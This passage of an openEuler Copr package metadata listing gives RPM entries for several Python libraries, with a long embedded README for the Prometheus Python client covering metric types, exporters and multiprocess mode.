  ```python
  print(input_224.size())            # (1,3,224,224)
  output = model.features(input_224)
  print(output.size())               # (1,2048,1,1)

  output = model.features(input_448)

  ```

  /!\ work in progress (may not be available)
  Method which is used to classify the features from the image.
  Example when the model is loaded using `fbresnet152`:
  ```python
  output = model.features(input_224)
  print(output.size())               # (1,2048, 1, 1)
  output = model.logits(output)
  print(output.size())               # (1,1000)
  ```

  Method used to call `model.features` and `model.logits`. It can be overwritten as desired.
  **Note**: A good practice is to use `model.__call__` as your function of choice to forward an input to your model. See the example bellow.
  ```python

  output = model.forward(input_224)
  print(output.size())      # (1,1000)

  output = model(input_224)
  print(output.size())      # (1,1000)
  ```

  Attribut of type `nn.Linear`. This module is the last one to be called during the forward pass.
  - Can be replaced by an adapted `nn.Linear` for fine tuning.
  - Can be replaced by `pretrained.utils.Identity` for features extraction.
  Example when the model is loaded using `fbresnet152`:
  ```python
  print(input_224.size())            # (1,3,224,224)
  output = model.features(input_224)
  print(output.size())               # (1,2048,1,1)
  output = model.logits(output)
  print(output.size())               # (1,1000)

  dim_feats = model.last_linear.in_features # =2048
  nb_classes = 4
  model.last_linear = nn.Linear(dim_feats, nb_classes)
  output = model(input_224)
  print(output.size())               # (1,4)

  model.last_linear = pretrained.utils.Identity()
  output = model(input_224)
  print(output.size())               # (1,2048)
  ```


  ```
  th pretrainedmodels/fbresnet/resnet152_dump.lua
  python pretrainedmodels/fbresnet/resnet152_load.py
  ```

  https://github.com/clcarwin/convert_torch_to_pytorch

  https://github.com/Cadene/tensorflow-model-zoo.torch

  Thanks to the deep learning community and especially to the contributers of the pytorch ecosystem.


pkgId: d14314f9adc6070a6795e968e42466279df46eaf2e8aa205c9d21756c45853e4
name: python-productivity
arch: src
version: 0.8.1
epoch: 0
release: 1
summary: Python driver for AutomationDirect Productivity Series PLCs.
url: http://github.com/numat/productivity/
rpm_license: GPLv2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4798df36-0a21-4142-bb73-c7d81008dbd3
location_href: 00004602-python-productivity/python-productivity-0.8.1-1.src.rpm
checksum_type: sha256
description:
  Python ≥3.7 driver and command-line tool for [AutomationDirect Productivity Series PLCs](https://www.automationdirect.com/adc/overview/catalog/programmable_controllers/productivity_series_controllers).
  <p align="center">
    <img src="https://www.automationdirect.com/images/overviews/p-series-cpus_400.jpg" />
  </p>


pkgId: 7e94a186ab3de58baf9056bdbd68a0cbcb36ffeb31f862517f11250d48702c4e
name: python-profilehooks
arch: src
version: 1.12.0
epoch: 0
release: 1
summary: Decorators for profiling/timing/tracing individual functions
url: https://mg.pov.lt/profilehooks/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-303ec158-e58d-4c0f-8679-b2b79ef9cd8a
location_href: 00004603-python-profilehooks/python-profilehooks-1.12.0-1.src.rpm
checksum_type: sha256
description:
  It's a collection of decorators for profiling functions.  E.g. to profile a
  single function::
      from profilehooks import profile
      @profile
      def my_function(args, etc):
          pass
  The results will be printed when the program exits (or you can use
  ``@profile(immediate=True)``).
  If you're interested in coarse timings and don't want to pay for the overhead
  of profiling, use ::
      from profilehooks import timecall
      @timecall       # or @timecall(immediate=True)
      def my_function(args, etc):
          pass
  Finally, you may be interested in seeing line coverage for a single function ::
      from profilehooks import coverage
      @coverage
      def my_function(args, etc):
          pass
  Also functions can be available in Python console or module if run it with -m arg ::
       $ python -m profilehooks
       >>> profile
       <function profile at 0x1005c6488>
       $ python -m profilehooks yourmodule
  Full documentation is available through ``pydoc profilehooks`` after
  installation.
  The home page for this module is https://mg.pov.lt/profilehooks.  It has
  screensho, uh, that is, more examples.


pkgId: b0c23fc74807573cb7d18693a5971f6b44f63b853cbf046bf06ac0907376afe4
name: python-proglog
arch: src
version: 0.1.10
epoch: 0
release: 1
summary: Log and progress bar manager for console, notebooks, web...
url: https://pypi.org/project/proglog/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f4f38e23-a7fc-48fd-aa8f-33d682e925d3
location_href: 00009507-python-proglog/python-proglog-0.1.10-1.src.rpm
checksum_type: sha256
description:
  Proglog is a progress logging system for Python. It allows to build complex
  libraries while giving the user control on the management of logs, callbacks and progress bars.


pkgId: 60ed8695a98e598dc4e0e4c8bd65403e462afc8088262397413582b4fc94f9c5
name: python-progressbar
arch: src
version: 2.5
epoch: 0
release: 1
summary: Text progress bar library for Python.
url: http://code.google.com/p/python-progressbar
rpm_license: LICENSE.txt
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-420c22c8-125d-455a-92b9-de683613a9ad
location_href: 00011151-python-progressbar/python-progressbar-2.5-1.src.rpm
checksum_type: sha256
description:
  Text progress bar library for Python.

  A text progress bar is typically used to display the progress of a long
  running operation, providing a visual cue that processing is underway.

  The ProgressBar class manages the current progress, and the format of the line
  is given by a number of widgets. A widget is an object that may display
  differently depending on the state of the progress bar. There are three types
  of widgets:
   - a string, which always shows itself

   - a ProgressBarWidget, which may return a different value every time its
     update method is called

   - a ProgressBarWidgetHFill, which is like ProgressBarWidget, except it
     expands to fill the remaining width of the line.

  The progressbar module is very easy to use, yet very powerful. It will also
  automatically enable features like auto-resizing when the system supports it.


pkgId: 02c2555ff94c4c9e2a1a1a3898ac28951540d16693bebab11ad6023581f06810
name: python-progressbar2
arch: src
version: 4.2.0
epoch: 0
release: 1
url: https://github.com/WoLpH/python-progressbar
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-42bc1dd4-d254-4db0-ad0d-7e69312366f9
location_href: 00009319-python-progressbar2/python-progressbar2-4.2.0-1.src.rpm
checksum_type: sha256
summary:
  A Python Progressbar library to provide visual (yet text based) progress to long running operations.

description:
      import time
      import progressbar
      for i in progressbar.progressbar(range(100)):
          time.sleep(0.02)


pkgId: 9a9dc83a75ea01705e4433a747820f5bc0bf3729c163aed8e6ca383596d1b7e7
name: python-prometheus-client
arch: src
version: 0.16.0
epoch: 0
release: 1
summary: Python client for the Prometheus monitoring system.
url: https://github.com/prometheus/client_python
rpm_license: Apache Software License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fed86a65-a120-4700-afd2-d90c1bf7f112
location_href: 00004605-python-prometheus_client/python-prometheus-client-0.16.0-1.src.rpm
checksum_type: sha256
description:
  The official Python client for [Prometheus](https://prometheus.io).



  **One**: Install the client:
  ```
  pip install prometheus-client
  ```

  **Two**: Paste the following into a Python interpreter:
  ```python
  from prometheus_client import start_http_server, Summary
  import random
  import time


  REQUEST_TIME = Summary('request_processing_seconds', 'Time spent processing request')


  @REQUEST_TIME.time()
  def process_request(t):
      """A dummy function that takes some time."""
      time.sleep(t)

  if __name__ == '__main__':
      
      start_http_server(8000)
      
      while True:
          process_request(random.random())
  ```

  **Three**: Visit [http://localhost:8000/](http://localhost:8000/) to view the metrics.

  From one easy to use decorator you get:
    * `request_processing_seconds_count`: Number of times this function was called.
    * `request_processing_seconds_sum`: Total amount of time spent in this function.

  Prometheus's `rate` function allows calculation of both requests per second,
  and latency over time from this data.

  In addition if you're on Linux the `process` metrics expose CPU, memory and
  other information about the process for free!



  ```
  pip install prometheus-client
  ```

  This package can be found on
  [PyPI](https://pypi.python.org/pypi/prometheus_client).



  Four types of metric are offered: Counter, Gauge, Summary and Histogram.
  See the documentation on [metric types](http://prometheus.io/docs/concepts/metric_types/)
  and [instrumentation best practices](https://prometheus.io/docs/practices/instrumentation/#counter-vs-gauge-summary-vs-histogram)
  on how to use them.



  Counters go up, and reset when the process restarts.


  ```python
  from prometheus_client import Counter
  c = Counter('my_failures', 'Description of counter')
  c.inc()     # Increment by 1
  c.inc(1.6)  # Increment by given value
  ```

  If there is a suffix of `_total` on the metric name, it will be removed. When
  exposing the time series for counter, a `_total` suffix will be added. This is
  for compatibility between OpenMetrics and the Prometheus text format, as OpenMetrics
  requires the `_total` suffix.

  There are utilities to count exceptions raised:

  ```python
  @c.count_exceptions()
  def f():
    pass

  with c.count_exceptions():
    pass


  with c.count_exceptions(ValueError):
    pass
  ```



  Gauges can go up and down.

  ```python
  from prometheus_client import Gauge
  g = Gauge('my_inprogress_requests', 'Description of gauge')
  g.inc()      # Increment by 1
  g.dec(10)    # Decrement by given value
  g.set(4.2)   # Set to a given value
  ```

  There are utilities for common use cases:

  ```python
  g.set_to_current_time()   # Set to current unixtime


  @g.track_inprogress()
  def f():
    pass

  with g.track_inprogress():
    pass
  ```

  A Gauge can also take its value from a callback:

  ```python
  d = Gauge('data_objects', 'Number of objects')
  my_dict = {}
  d.set_function(lambda: len(my_dict))
  ```



  Summaries track the size and number of events.

  ```python
  from prometheus_client import Summary
  s = Summary('request_latency_seconds', 'Description of summary')
  s.observe(4.7)    # Observe 4.7 (seconds in this case)
  ```

  There are utilities for timing code:

  ```python
  @s.time()
  def f():
    pass

  with s.time():
    pass
  ```

  The Python client doesn't store or expose quantile information at this time.



  Histograms track the size and number of events in buckets.
  This allows for aggregatable calculation of quantiles.

  ```python
  from prometheus_client import Histogram
  h = Histogram('request_latency_seconds', 'Description of histogram')
  h.observe(4.7)    # Observe 4.7 (seconds in this case)
  ```

  The default buckets are intended to cover a typical web/rpc request from milliseconds to seconds.
  They can be overridden by passing `buckets` keyword argument to `Histogram`.

  There are utilities for timing code:

  ```python
  @h.time()
  def f():
    pass

  with h.time():
    pass
  ```



  Info tracks key-value information, usually about a whole target.

  ```python
  from prometheus_client import Info
  i = Info('my_build_version', 'Description of info')
  i.info({'version': '1.2.3', 'buildhost': 'foo@bar'})
  ```



  Enum tracks which of a set of states something is currently in.

  ```python
  from prometheus_client import Enum
  e = Enum('my_task_state', 'Description of enum',
          states=['starting', 'running', 'stopped'])
  e.state('running')
  ```



  All metrics can have labels, allowing grouping of related time series.

  See the best practices on [naming](http://prometheus.io/docs/practices/naming/)
  and [labels](http://prometheus.io/docs/practices/instrumentation/#use-labels).

  Taking a counter as an example:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc()
  c.labels('post', '/submit').inc()
  ```

  Labels can also be passed as keyword-arguments:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels(method='get', endpoint='/').inc()
  c.labels(method='post', endpoint='/submit').inc()
  ```

  Metrics with labels are not initialized when declared, because the client can't
  know what values the label can have. It is recommended to initialize the label
  values by calling the `.labels()` method alone:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/')
  c.labels('post', '/submit')
  ```



  Exemplars can be added to counter and histogram metrics. Exemplars can be
  specified by passing a dict of label value pairs to be exposed as the exemplar.
  For example with a counter:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc(exemplar={'trace_id': 'abc123'})
  c.labels('post', '/submit').inc(1.0, {'trace_id': 'def456'})
  ```

  And with a histogram:

  ```python
  from prometheus_client import Histogram
  h = Histogram('request_latency_seconds', 'Description of histogram')
  h.observe(4.7, {'trace_id': 'abc123'})
  ```



  By default counters, histograms, and summaries export an additional series
  suffixed with `_created` and a value of the unix timestamp for when the metric
  was created. If this information is not helpful, it can be disabled by setting
  the environment variable `PROMETHEUS_DISABLE_CREATED_SERIES=True`.



  The Python client automatically exports metrics about process CPU usage, RAM,
  file descriptors and start time. These all have the prefix `process`, and
  are only currently available on Linux.

  The namespace and pid constructor arguments allows for exporting metrics about
  other processes, for example:
  ```
  ProcessCollector(namespace='mydaemon', pid=lambda: open('/var/run/daemon.pid').read())
  ```



  The client also automatically exports some metadata about Python. If using Jython,
  metadata about the JVM in use is also included. This information is available as
  labels on the `python_info` metric. The value of the metric is 1, since it is the
  labels that carry information.



  By default the collected `process`, `gc`, and `platform` collector metrics are exported.
  If this information is not helpful, it can be disabled using the following:
  ```python
  import prometheus_client

  prometheus_client.REGISTRY.unregister(prometheus_client.GC_COLLECTOR)
  prometheus_client.REGISTRY.unregister(prometheus_client.PLATFORM_COLLECTOR)
  prometheus_client.REGISTRY.unregister(prometheus_client.PROCESS_COLLECTOR)
  ```



  There are several options for exporting metrics.



  Metrics are usually exposed over HTTP, to be read by the Prometheus server.

  The easiest way to do this is via `start_http_server`, which will start a HTTP
  server in a daemon thread on the given port:

  ```python
  from prometheus_client import start_http_server

  start_http_server(8000)
  ```

  Visit [http://localhost:8000/](http://localhost:8000/) to view the metrics.

  To add Prometheus exposition to an existing HTTP server, see the `MetricsHandler` class
  which provides a `BaseHTTPRequestHandler`. It also serves as a simple example of how
  to write a custom endpoint.



  To use prometheus with [twisted](https://twistedmatrix.com/), there is `MetricsResource` which exposes metrics as a twisted resource.

  ```python
  from prometheus_client.twisted import MetricsResource
  from twisted.web.server import Site
  from twisted.web.resource import Resource
  from twisted.internet import reactor

  root = Resource()
  root.putChild(b'metrics', MetricsResource())

  factory = Site(root)
  reactor.listenTCP(8000, factory)
  reactor.run()
  ```



  To use Prometheus with [WSGI](http://wsgi.readthedocs.org/en/latest/), there is
  `make_wsgi_app` which creates a WSGI application.

  ```python
  from prometheus_client import make_wsgi_app
  from wsgiref.simple_server import make_server

  app = make_wsgi_app()
  httpd = make_server('', 8000, app)
  httpd.serve_forever()
  ```

  Such an application can be useful when integrating Prometheus metrics with WSGI
  apps.

  The method `start_wsgi_server` can be used to serve the metrics through the
  WSGI reference implementation in a new thread.

  ```python
  from prometheus_client import start_wsgi_server

  start_wsgi_server(8000)
  ```

  By default, the WSGI application will respect `Accept-Encoding:gzip` headers used by Prometheus
  and compress the response if such a header is present. This behaviour can be disabled by passing
  `disable_compression=True` when creating the app, like this:

  ```python
  app = make_wsgi_app(disable_compression=True)
  ```



  To use Prometheus with [ASGI](http://asgi.readthedocs.org/en/latest/), there is
  `make_asgi_app` which creates an ASGI application.

  ```python
  from prometheus_client import make_asgi_app

  app = make_asgi_app()
  ```
  Such an application can be useful when integrating Prometheus metrics with ASGI
  apps.

  By default, the WSGI application will respect `Accept-Encoding:gzip` headers used by Prometheus
  and compress the response if such a header is present. This behaviour can be disabled by passing
  `disable_compression=True` when creating the app, like this:

  ```python
  app = make_asgi_app(disable_compression=True)
  ```



  To use Prometheus with [Flask](http://flask.pocoo.org/) we need to serve metrics through a Prometheus WSGI application. This can be achieved using [Flask's application dispatching](http://flask.pocoo.org/docs/latest/patterns/appdispatch/). Below is a working example.

  Save the snippet below in a `myapp.py` file

  ```python
  from flask import Flask
  from werkzeug.middleware.dispatcher import DispatcherMiddleware
  from prometheus_client import make_wsgi_app


  app = Flask(__name__)


  app.wsgi_app = DispatcherMiddleware(app.wsgi_app, {
      '/metrics': make_wsgi_app()
  })
  ```

  Run the example web application like this

  ```bash

  pip install uwsgi
  uwsgi --http 127.0.0.1:8000 --wsgi-file myapp.py --callable app
  ```

  Visit http://localhost:8000/metrics to see the metrics



  The [textfile collector](https://github.com/prometheus/node_exporter#textfile-collector)
  allows machine-level statistics to be exported out via the Node exporter.

  This is useful for monitoring cronjobs, or for writing cronjobs to expose metrics
  about a machine system that the Node exporter does not support or would not make sense
  to perform at every scrape (for example, anything involving subprocesses).

  ```python
  from prometheus_client import CollectorRegistry, Gauge, write_to_textfile

  registry = CollectorRegistry()
  g = Gauge('raid_status', '1 if raid array is okay', registry=registry)
  g.set(1)
  write_to_textfile('/configured/textfile/path/raid.prom', registry)
  ```

  A separate registry is used, as the default registry may contain other metrics
  such as those from the Process Collector.



  The [Pushgateway](https://github.com/prometheus/pushgateway)
  allows ephemeral and batch jobs to expose their metrics to Prometheus.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway

  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
  push_to_gateway('localhost:9091', job='batchA', registry=registry)
  ```

  A separate registry is used, as the default registry may contain other metrics
  such as those from the Process Collector.

  Pushgateway functions take a grouping key. `push_to_gateway` replaces metrics
  with the same grouping key, `pushadd_to_gateway` only replaces metrics with the
  same name and grouping key and `delete_from_gateway` deletes metrics with the
  given job and grouping key. See the
  [Pushgateway documentation](https://github.com/prometheus/pushgateway/blob/master/README.md)
  for more information.

  `instance_ip_grouping_key` returns a grouping key with the instance label set
  to the host's IP address.



  If the push gateway you are connecting to is protected with HTTP Basic Auth,
  you can use a special handler to set the Authorization header.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway
  from prometheus_client.exposition import basic_auth_handler

  def my_auth_handler(url, method, timeout, headers, data):
      username = 'foobar'
      password = 'secret123'
      return basic_auth_handler(url, method, timeout, headers, data, username, password)
  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
  push_to_gateway('localhost:9091', job='batchA', registry=registry, handler=my_auth_handler)
  ```

  TLS Auth is also supported when using the push gateway with a special handler.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway
  from prometheus_client.exposition import tls_auth_handler


  def my_auth_handler(url, method, timeout, headers, data):
      certfile = 'client-crt.pem'
      keyfile = 'client-key.pem'
      return tls_auth_handler(url, method, timeout, headers, data, certfile, keyfile)

  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
  push_to_gateway('localhost:9091', job='batchA', registry=registry, handler=my_auth_handler)
  ```



  It is also possible to expose metrics to systems other than Prometheus.
  This allows you to take advantage of Prometheus instrumentation even
  if you are not quite ready to fully transition to Prometheus yet.



  Metrics are pushed over TCP in the Graphite plaintext format.

  ```python
  from prometheus_client.bridge.graphite import GraphiteBridge

  gb = GraphiteBridge(('graphite.your.org', 2003))

  gb.push()

  gb.start(10.0)
  ```

  Graphite [tags](https://grafana.com/blog/2018/01/11/graphite-1.1-teaching-an-old-dog-new-tricks/) are also supported.

  ```python
  from prometheus_client.bridge.graphite import GraphiteBridge

  gb = GraphiteBridge(('graphite.your.org', 2003), tags=True)
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc()
  gb.push()
  ```



  Sometimes it is not possible to directly instrument code, as it is not
  in your control. This requires you to proxy metrics from other systems.

  To do so you need to create a custom collector, for example:

  ```python
  from prometheus_client.core import GaugeMetricFamily, CounterMetricFamily, REGISTRY

  class CustomCollector(object):
      def collect(self):
          yield GaugeMetricFamily('my_gauge', 'Help text', value=7)
          c = CounterMetricFamily('my_counter_total', 'Help text', labels=['foo'])
          c.add_metric(['bar'], 1.7)
          c.add_metric(['baz'], 3.8)
          yield c

  REGISTRY.register(CustomCollector())
  ```

  `SummaryMetricFamily`, `HistogramMetricFamily` and `InfoMetricFamily` work similarly.

  A collector may implement a `describe` method which returns metrics in the same
  format as `collect` (though you don't have to include the samples). This is
  used to predetermine the names of time series a `CollectorRegistry` exposes and
  thus to detect collisions and duplicate registrations.

  Usually custom collectors do not have to implement `describe`. If `describe` is
  not implemented and the CollectorRegistry was created with `auto_describe=True`
  (which is the case for the default registry) then `collect` will be called at
  registration time instead of `describe`. If this could cause problems, either
  implement a proper `describe`, or if that's not practical have `describe`
  return an empty list.




  Prometheus client libraries presume a threaded model, where metrics are shared
  across workers. This doesn't work so well for languages such as Python where
  it's common to have processes rather than threads to handle large workloads.

  To handle this the client library can be put in multiprocess mode.
  This comes with a number of limitations:

  - Registries can not be used as normal, all instantiated metrics are exported
    - Registering metrics to a registry later used by a `MultiProcessCollector`
      may cause duplicate metrics to be exported
  - Custom collectors do not work (e.g. cpu and memory metrics)
  - Info and Enum metrics do not work
  - The pushgateway cannot be used
  - Gauges cannot use the `pid` label
  - Exemplars are not supported

  There's several steps to getting this working:

  **1. Deployment**:

  The `PROMETHEUS_MULTIPROC_DIR` environment variable must be set to a directory
  that the client library can use for metrics. This directory must be wiped
  between process/Gunicorn runs (before startup is recommended).

  This environment variable should be set from a start-up shell script,
  and not directly from Python (otherwise it may not propagate to child processes).

  **2. Metrics collector**:

  The application must initialize a new `CollectorRegistry`, and store the
  multi-process collector inside. It is a best practice to create this registry
  inside the context of a request to avoid metrics registering themselves to a
  collector used by a `MultiProcessCollector`. If a registry with metrics
  registered is used by a `MultiProcessCollector` duplicate metrics may be
  exported, one for multiprocess, and one for the process serving the request.

  ```python
  from prometheus_client import multiprocess
  from prometheus_client import generate_latest, CollectorRegistry, CONTENT_TYPE_LATEST, Counter

  MY_COUNTER = Counter('my_counter', 'Description of my counter')


  def app(environ, start_response):
      registry = CollectorRegistry()
      multiprocess.MultiProcessCollector(registry)
      data = generate_latest(registry)
      status = '200 OK'
      response_headers = [
          ('Content-type', CONTENT_TYPE_LATEST),
          ('Content-Length', str(len(data)))
      ]
      start_response(status, response_headers)
      return iter([data])
  ```

  **3. Gunicorn configuration**:

  The `gunicorn` configuration file needs to include the following function:

  ```python
  from prometheus_client import multiprocess

  def child_exit(server, worker):
      multiprocess.mark_process_dead(worker.pid)
  ```

  **4. Metrics tuning (Gauge)**:

  When `Gauge`s are used in multiprocess applications,
  you must decide how to handle the metrics reported by each process.
  Gauges have several modes they can run in, which can be selected with the `multiprocess_mode` parameter.

  - 'all': Default. Return a timeseries per process (alive or dead), labelled by the process's `pid` (the label is added internally).
  - 'min': Return a single timeseries that is the minimum of the values of all processes (alive or dead).
  - 'max': Return a single timeseries that is the maximum of the values of all processes (alive or dead).
  - 'sum': Return a single timeseries that is the sum of the values of all processes (alive or dead).

  Prepend 'live' to the beginning of the mode to return the same result but only considering living processes
  (e.g., 'liveall, 'livesum', 'livemax', 'livemin').

  ```python
  from prometheus_client import Gauge


  IN_PROGRESS = Gauge("inprogress_requests", "help", multiprocess_mode='livesum')
  ```




  The Python client supports parsing the Prometheus text format.
  This is intended for advanced use cases where you have servers
  exposing Prometheus metrics and need to get them into some other
  system.

  ```python
  from prometheus_client.parser import text_string_to_metric_families
  for family in text_string_to_metric_families(u"my_gauge 1.0\n"):
    for sample in family.samples:
      print("Name: {0} Labels: {1} Value: {2}".format(*sample))
  ```



  * [Releases](https://github.com/prometheus/client_python/releases): The releases page shows the history of the project and acts as a changelog.
  * [PyPI](https://pypi.python.org/pypi/prometheus_client)


pkgId: 3a61526dbd05caef0ba314da244d06ceb8b794aa5484414875f1d4d409c3f71e
name: python-promise
arch: src
version: 2.3
epoch: 0
release: 1
summary: Promises/A+ implementation for Python
url: https://github.com/syrusakbary/promise
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fa808561-c77b-46f8-ac91-a237ad05c085
location_href: 00004607-python-promise/python-promise-2.3-1.src.rpm
checksum_type: sha256
description:
  This is a implementation of Promises in Python. It is a super set of
  Promises/A+ designed to have readable, performant code and to provide
  just the extensions that are absolutely necessary for using promises in
  Python.
  Its fully compatible with the `Promises/A+
  spec <http://promises-aplus.github.io/promises-spec/>`__
  |travis| |pypi| |coveralls|


pkgId: d579a8de4d665118f1beb39fc6ab036c41887a5eecfa743cc285d16fc3d59339
name: python-prompt-toolkit
arch: src
version: 3.0.38
epoch: 0
release: 1
summary: Library for building powerful interactive command lines in Python
url: https://github.com/prompt-toolkit/python-prompt-toolkit
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1e4cee1a-37bd-4bfb-920f-1645c088a5b8
location_href: 00004608-python-prompt-toolkit/python-prompt-toolkit-3.0.38-1.src.rpm
checksum_type: sha256
description:
  |Build Status|  |AppVeyor|  |PyPI|  |RTD|  |License|  |Codecov|
  ``prompt_toolkit`` *is a library for building powerful interactive command line applications in Python.*
  Read the `documentation on readthedocs
  <http://python-prompt-toolkit.readthedocs.io/en/stable/>`_.
  NOTICE: prompt_toolkit 3.0
  **************************
  Please notice that this branch is the ``prompt_toolkit`` **3.0** branch. For most
  users, it should be compatible with ``prompt_toolkit`` **2.0**, but it requires at
  least **Python 3.6**. On the plus side, ``prompt_toolkit`` **3.0** is completely type
  annotated and uses asyncio natively.
  Gallery
  *******
  `ptpython <http://github.com/prompt-toolkit/ptpython/>`_ is an interactive
  Python Shell, build on top of ``prompt_toolkit``.
  `More examples <https://python-prompt-toolkit.readthedocs.io/en/stable/pages/gallery.html>`_
  prompt_toolkit features
  ***********************
  ``prompt_toolkit`` could be a replacement for `GNU readline
  <https://tiswww.case.edu/php/chet/readline/rltop.html>`_, but it can be much
  more than that.
  Some features:
  - **Pure Python**.
  - Syntax highlighting of the input while typing. (For instance, with a Pygments lexer.)
  - Multi-line input editing.
  - Advanced code completion.
  - Both Emacs and Vi key bindings. (Similar to readline.)
  - Even some advanced Vi functionality, like named registers and digraphs.
  - Reverse and forward incremental search.
  - Works well with Unicode double width characters. (Chinese input.)
  - Selecting text for copy/paste. (Both Emacs and Vi style.)
  - Support for `bracketed paste <https://cirw.in/blog/bracketed-paste>`_.
  - Mouse support for cursor positioning and scrolling.
  - Auto suggestions. (Like `fish shell <http://fishshell.com/>`_.)
  - Multiple input buffers.
  - No global state.
  - Lightweight, the only dependencies are Pygments and wcwidth.
  - Runs on Linux, OS X, FreeBSD, OpenBSD and Windows systems.
  - And much more...
  Feel free to create tickets for bugs and feature requests, and create pull
  requests if you have nice patches that you would like to share with others.
  Installation
  ************
      pip install prompt_toolkit
  For Conda, do:
      conda install -c https://conda.anaconda.org/conda-forge prompt_toolkit
  About Windows support
  *********************
  ``prompt_toolkit`` is cross platform, and everything that you build on top
  should run fine on both Unix and Windows systems. Windows support is best on
  recent Windows 10 builds, for which the command line window supports vt100
  escape sequences. (If not supported, we fall back to using Win32 APIs for color
  and cursor movements).
  It's worth noting that the implementation is a "best effort of what is
  possible". Both Unix and Windows terminals have their limitations. But in
  general, the Unix experience will still be a little better.
  For Windows, it's recommended to use either `cmder
  <http://cmder.net/>`_ or `conemu <https://conemu.github.io/>`_.
  Getting started
  ***************
  The most simple example of the library would look like this:
      from prompt_toolkit import prompt
      if __name__ == '__main__':
          answer = prompt('Give me some input: ')
          print('You said: %s' % answer)
  For more complex examples, have a look in the ``examples`` directory. All
  examples are chosen to demonstrate only one thing. Also, don't be afraid to
  look at the source code. The implementation of the ``prompt`` function could be
  a good start.
  Philosophy
  **********
  The source code of ``prompt_toolkit`` should be **readable**, **concise** and
  **efficient**. We prefer short functions focusing each on one task and for which
  the input and output types are clearly specified. We mostly prefer composition
  over inheritance, because inheritance can result in too much functionality in
  the same object. We prefer immutable objects where possible (objects don't
  change after initialization). Reusability is important. We absolutely refrain
  from having a changing global state, it should be possible to have multiple
  independent instances of the same code in the same process. The architecture
  should be layered: the lower levels operate on primitive operations and data
  structures giving -- when correctly combined -- all the possible flexibility;
  while at the higher level, there should be a simpler API, ready-to-use and
  sufficient for most use cases. Thinking about algorithms and efficiency is
  important, but avoid premature optimization.
  `Projects using prompt_toolkit <PROJECTS.rst>`_
  ***********************************************
  Special thanks to
  *****************
  - `Pygments <http://pygments.org/>`_: Syntax highlighter.
  - `wcwidth <https://github.com/jquast/wcwidth>`_: Determine columns needed for a wide characters.


pkgId: 6efccd0814583593bc501c0553d522893a9963165af1586db8a5b4aa3d305243
name: python-property-manager
arch: src
version: 3.0
epoch: 0
release: 1
url: https://property-manager.readthedocs.io
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-09e8aba6-99f5-4943-817b-cc955b5ddffc
location_href: 00010284-python-property-manager/python-property-manager-3.0-1.src.rpm
checksum_type: sha256
summary:
  Useful property variants for Python programming (required properties, writable properties, cached properties, etc)

description:
  The `property-manager` package defines several custom property_ variants for
  Python programming including required properties, writable properties, cached
  properties, etc. It's currently tested on Python 2.7, 3.5, 3.6, 3.7, 3.8 and
  PyPy. For usage instructions please refer to the documentation_.


pkgId: 552babdd8711284e7e2ad6550390d0ffc2bad94f271cac5be6588c4e9b39fdfa
name: python-proto-google-cloud-datastore-v1
arch: src
version: 0.90.4
epoch: 0
release: 1
summary: GRPC library for the Google Cloud Datastore API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7a0efffd-9f3c-4947-b95b-d96fddf23be2
checksum_type: sha256
description:
  gRPC library for Google Cloud Datastore API

  proto-google-cloud-datastore-v1 is the IDL-derived library for the datastore (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/datastore/v1

location_href:
  00010270-python-proto-google-cloud-datastore-v1/python-proto-google-cloud-datastore-v1-0.90.4-1.src.rpm


pkgId: 62095e58b3db5db36fb953934b9f015db63ee7f7eee1af722d5fa06d3055a730
name: python-proto-google-cloud-datastore-v1-help
arch: noarch
version: 0.90.4
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-datastore-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7a0efffd-9f3c-4947-b95b-d96fddf23be2
rpm_sourcerpm: python-proto-google-cloud-datastore-v1-0.90.4-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Google Cloud Datastore API

  proto-google-cloud-datastore-v1 is the IDL-derived library for the datastore (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/datastore/v1

location_href:
